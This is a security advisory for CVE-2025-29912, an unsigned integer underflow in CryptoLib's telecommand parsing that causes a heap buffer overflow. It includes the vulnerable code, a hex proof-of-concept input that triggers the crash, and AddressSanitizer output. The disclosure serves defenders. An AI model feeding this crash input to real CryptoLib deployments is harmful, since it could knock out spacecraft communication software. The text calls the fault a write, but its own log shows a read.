Heap Buffer Overflow Due to Unsigned Integer Underflow in Crypto_TC_ProcessSecurity

High **jlucas9** published **GHSA-3f5x-r59x-p8cf** 5 days ago

Package	Affected versions	Patched versions
No package listed	<= 1.3.3	None

Severity

High

CVE ID

CVE-2025-29912

Weaknesses

CWE-122 CWE-191

Credits

mirkobitetto Finder

juriSacchetta Coordinator

danmaam Coordinator

Description

Description

Summary

An unsigned integer underflow in the `Crypto_TC_ProcessSecurity` function of CryptoLib leads to a heap buffer overflow. The vulnerability is triggered when the `fl` (frame length) field in a Telecommand (TC) packet is set to 0. This underflow causes the frame length to be interpreted as 65535, resulting in out-of-bounds memory access. This critical vulnerability can be exploited to cause a denial of service (DoS) or potentially achieve remote code execution.

Details

The vulnerable code is located in the `Crypto_TC_Parse_Check_FECF` function:

```
if (current_managed_parameters_struct.has_fecf == TC_HAS_FECF) {
    tc_sdls_processed_frame->tc_sec_trailer.fecf =
        (((ingest[tc_sdls_processed_frame->tc_header.fl - 1] << 8) &
         (ingest[tc_sdls_processed_frame->tc_header.fl] & 0x00FF));
}
```

The `fl` field, which represents the frame length, is an unsigned 16-bit integer. When this value is set to 0, the subtraction operation (`fl - 1`) underflows, resulting in an index of 65535, which is far beyond the valid buffer boundaries. The issue was identified through fuzz testing and had not been previously disclosed or patched, highlighting a severe security risk.

Proof of Concept (PoC)

To reproduce the issue, pass the following input to the vulnerable function:

```
08 03 00 00 7F 0B 00 0A FD 02 02 02 02 7F FF 02 02 02 02 02 02
02 02
02 02 02 02 02 9B DD 5F 3C 98 DD 1C 50 D2 7A 43 0A 4B 67 57 AA 33
EC 18
39 52 A9 F7 6E 50 4E B5 F8 00 10 66 ED 6C 00 C8 78 8E 11 99 7F 2A
05 8D
A1 63 3E 11 FE D9 85 1D 45 7B B3 1A 96 37 EC 8F 4F 15 BC 85 75 A0
E7 10
4D BA 5C 66 6B 17 F7 CC CD C2 AD BF F9
```

Observe ASan logs, which will report an out-of-bounds write:

```
==827279==ERROR: AddressSanitizer: heap-buffer-overflow on addre
0x50400000444f at pc 0x7e0c208cc479
READ of size 1 at 0x50400000444f thread T0
#0 0x7e0c208cc478 in Crypto_TC_Parse_Check_FECF
```

Impact

This vulnerability allows an attacker to trigger a denial of service (DoS) by crashing the application. Under specific conditions, it may also be possible to execute arbitrary code, depending on the surrounding memory layout and conditions.

This vulnerability affects all versions of CryptoLib up to and including version 1.3.3. Users of CryptoLib are advised to apply the recommended patch or avoid processing untrusted TC packets until a fix is available.